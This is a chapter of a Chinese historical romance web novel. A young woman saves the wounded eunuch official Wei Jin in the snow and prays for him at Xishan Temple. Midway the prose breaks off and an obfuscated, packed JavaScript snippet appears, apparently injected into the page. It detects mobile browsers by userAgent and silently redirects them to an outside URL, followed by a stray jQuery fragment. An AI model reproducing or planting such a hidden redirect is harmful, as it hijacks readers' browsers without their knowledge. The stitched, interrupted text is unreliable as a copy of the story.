闻鸳不知道卫进要做什么。
只是去扶他,便被他挡开,看他竭力摇了摇头,推推她的手。
要她走。
他宁肯孤零零地冻死在雪地里,任雪水浸透伤口,痛到发抖,却不肯再拖累她摔。
闻鸳心里那根绷紧的弦彻底折断。
她想不通,他用他自己的命换她的命,这样的人,为何会是杀人不眨眼的贼佞酷吏。
北风凛冽,她抬手挡风,手背蹭到腮边,方知泪痕零落,早已湿了脸。
她逼着自己打起精神,重新背他在身上。衣裳浸了雪水变得更沉重,她几乎咬碎了牙,才能走出一小步。
“卫进,”她冻得唇齿发抖,话也囫囵不清,“不是都说,祸害遗千年……你这样作恶多端的人,一定要活下去。”
殷红连成线,覆在残雪之上勾勒。
她踉跄地背着他走,走到双腿发软,失去知觉,就拖着他爬。
万般艰难,不曾停歇。
她怕自己哪怕倒下歇刹那,便再站不起来。
卫进会死在这儿。
不知这样坚持了多久,浓云愁雾中,渐渐浮现一扇朱红色的大门。越靠近那扇门,飘来的檀木香气越重。
她累到脑海一片空白,硬是拉扯着卫进来到门外的石阶下,才陡然意识到此为何处。
西山寺。
先前一盏茶的路程,她竟仿佛生生走了半宿。
鞋袜裙摆俱是泥泞冰碴,连领口都灌满了风雪,她冷得舌尖发麻,实在喊不出声。只好先扶卫进靠在高台下,半是跪行,半是摸爬上石阶,满是冻伤的手叩响门扉。
“……”
她想叫人。
可张张口,仅剩嘶哑的哽咽。
唯有更用力地拍打那扇门,不顾掌心伤痕又渗了血,沾在门上,烙印深深浅浅的红。
吱呀。
陈旧的木门应声而开,她再支持不住倒在门槛上。一只手紧紧抓住那来开门的小沙弥的僧袍,干裂唇瓣翕动,拼了命从喉咙里挤出两个字:
“救他……”
之后的事,闻鸳全不记得了。
只知那是十七年来最冷的一夜,亦是她此生,最绝望的一刻。
醒来时,她身上的衣裳已被换过,房中炭火烧得正旺,被子里也塞上了几个汤媪。全身各处痛意复苏,使她确认,她还活着。
“长姐!”
进门的是闻缨,见她醒了,高兴得什么似的,拉着她的手掉眼泪。
“幸好你无事,否则,我定让那阉狗给你偿命!”
闻鸳乍醒过来,头脑不算清明。只隐约记起,昏迷前,她似乎与卫进到了西山寺。
“这是何处?”
她一开口,耳畔响起的却是一道陌生的声音。
那夜受了寒,连续高热多日,嗓子已然烧哑了。
闻缨倒了杯热水,端过来喂她喝下,这才说起近日来发生的事。
那夜西山寺的僧人闻声开门,见她和卫进浑身是血,赶紧去山下请了郎中医治,因她不久前来上过香,寺中住持知她身份,遣了人通知太师府。
因卫进重伤不堪挪动,他们暂住在西山寺。闻太师禀报朝廷,西厂那边也派了人来,名为护卫,实则一直暗中调查此事。
一长串话说得闻缨口干舌燥,闻鸳听完,却仅问了三个字:
“卫进呢?”
闻缨吞吞吐吐说不出来,她便知是情况不大好。
身负重伤,又在雪地里冻了那么久。
铁打的人也熬不住。
“我去看他。”
她说着,掀开杯子就要下地。可躺了太久,身子已然僵了,胳膊腿全不听使唤,一步踩在地上,就跌了好大一跤。
坠崖之时,她痛到仿佛五脏六腑都移了位。约莫是疼过头了,这会儿摔一下,竟全然麻木无觉。
片刻后,骨头缝里又酸又麻,仿若针扎,着实令她清醒不少。
而倘若,她都这般难捱……
护着她的人,该有多痛。
“长姐,”闻缨忙扶她,“皇上已经派太医来,他死不了的。再说,他这样的祸害,死了岂不更好!”
“他不能死!”
闻鸳想都没想脱口而出,倒把闻缨吓了一跳。
“长姐,”闻缨支支吾吾问,“你不会,当真与那阉……那卫进,有了夫妻情分吧?”
闻鸳乱得很,无心同她解释这些,省下力气支撑着站起来,踉踉跄跄出了门。
闻缨放心不下,一路跟着她,来至那间被西厂暗卫围得水泄不通的厢房外。
卫进重伤,震动朝廷。
原先被西厂压制的几股势力蠢蠢欲动,搅得朝堂翻江倒海,不得安宁。皇帝不堪其扰,派遣太医前来医治,兼有西厂最精良的护卫镇守,无论如何,不能教卫进死了。
那些护卫不认得闻鸳的脸,却知晓她的身份。
见是她来,为首的很是规矩作了礼:
“小的参见夫人。”
但闻鸳想进门,他们则不许了。
“皇上有旨,督公苏醒前,任何人不得探视。夫人仁心,就别为难小的们了。”
那护卫点头哈腰客气至极,挡在门前寸步不让。
皇命难违,闻鸳不逼他,只问:
“督公如何。”
“太医已用了药,”探子如实道,“不过也说了,督公伤势太重,这药能医病,不能医命。能不能活,看造化。”
造化。
闻鸳最怕这两个字。
顾凭阑战死的消息传回京师,闻太师也是与她说,造化弄人。似乎不论人如何做,终究抵不过造化。
顾凭阑如此。
卫进亦如此。
“长姐,”闻缨替她紧了紧衣领,小声劝,“外头风大,你身子尚未痊愈,咱们还是回去吧。”
闻鸳点点头,最后望了一眼厢房紧闭的门。
门外的青砖上残留几点深色痕迹,她不知道那是不是血迹。唯有站在这里,风吹过来的时候,最沁人心脾的檀木香中,好像混了几缕血腥味。
“阿缨,”她道,“我想去院子里,那棵菩提树下。”
西山寺院中的菩提树,可供香客悬挂祈福带。即便冬日枝叶凋敝,远远看过去,仍是一派红彤彤的喜色。
不过数日前,闻鸳就在此地,就在这棵树下,写了两条红带子。
一为顾凭阑,一为,此刻躺在厢房里,徘徊在鬼门关的那个人。
届时她恨红了眼,一心期盼朝臣惨死的案子能昭雪。甚至想过,要
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17450280|201167||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
借祈福带,求他遭天谴报应。
纵然肯写下那句郎君安康,亦写得潦草敷衍,与她平日端秀的字迹大不相同。
约莫也因她不信神佛,觉得不论写成什么样,都无关痛痒。
而眼下。
她拂开闻缨的手,径自走到树下,弯腰拿起摆在案头的笔。
卫进于此休养,寺庙闭门谢客,是以那砚台上的墨已然干透了。笔尖一碾,碎了一片。
她也不理,用笔蘸雪来研墨,磨得虎口通红也未曾停下。
闻缨心疼她,却没阻拦,安安静静陪伴在侧,为她在砚台上添雪。
及至干墨化开,她铺展红绸,仍是提笔写那四个字:
郎君安康。
寒风呼啸,她的手将要握不住笔,写出字自然不算好看。
但清清楚楚,一笔一划。
若世间真有天上客,她要满天神佛全认出她许的愿。
皆来成全。
书案上的红缎垒作茶盏高,闻鸳数不清究竟写了多少条,直至再没有一条空白。风很快吹干墨痕,她将它们一条一条拿在手中,挂上枝头。
低处挂完,便挂高处。
原本尚且稀疏的几根枝桠上,也密密麻麻染作绯色。
最后一条挂完,她跪在老树根前,虔诚叩首。
朝堂之乱,朝臣之仇,尽可不管。
那是用命救她的人。
她也想自私一次。
倘使另有隐情,卫进从未做过那些事,苍天有眼,不该叫好人不长命。
若不然,他的确恶贯满盈,罪不容诛,如今的一切俱是他活该。那她为他求神佛庇佑,当是同流合污。
别让她独活。
从清晨,至日暮。她跪在那里不吃不喝,任闻缨如何劝,一样无动于衷。
是铁了心,要向黄泉路,把卫进的命讨回来。
黄昏时分,天气又有些阴沉,像是还将有场大雪。闻缨为她添了件厚实的毛披风,执起她的手,在唇边呵气取暖。
“长姐,不要这样,”她带了哭腔抱紧闻鸳,“没有卫进,你还有我,还有爹娘。”
“长姐,假若佛祖有知,你跪了这么久,你所求的,他应当都听见了。我们回去,好不好?”
“他的命要紧,你的命就不要紧吗?若你有何不测,爹娘该有多伤心!”
“阿缨。”
闻鸳终于开口。
闻缨以为她被说动,当即便要扶她起身。
可闻鸳摆摆手,头也不回:
“帮我转告爹,下元节前夜,子时,卫进带西厂的人秘密从顾侯祠运走了六个箱子。我不知其中装了什么,但猜测是金银一类,每箱都需要三四人合力搬动。”
闻缨不明所以:
“长姐,既然是西厂的秘密,你怎么知道?”
她言罢,恍然明白。
那夜闻鸳之所以出现在这里,是暗中跟踪了卫进。但更困惑,闻鸳不会武功,如何能掩人耳目,居然瞒得过卫进。
而既然她知情,卫进又如何能留她的性命。
闻鸳不语,扬起头,凝望枝头飘扬的缎带。
“阿缨,”她凄笑,“连你也觉得奇怪。我疑心他、恨他、算计他,也想过杀了他,他为何,还要救我……”